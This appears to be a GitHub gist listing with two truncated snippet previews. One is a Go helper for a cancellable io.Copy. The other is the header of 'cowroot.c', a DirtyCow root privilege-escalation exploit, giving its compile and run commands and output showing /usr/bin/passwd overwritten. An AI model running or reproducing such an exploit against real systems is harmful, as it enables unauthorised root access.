Adriano Sela Aviles adrianosela
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| // Source: https://ixday.github.io/post/golang-cancel-copy/ | |
| import ( | |
| "io" | |
| "context" | |
| ) | |
| // here is some syntaxic sugar inspired by the Tomas Senart's video, | |
| // it allows me to inline the Reader interface | |
| type readerFunc func(p []byte) (n int, err error) |
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| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten |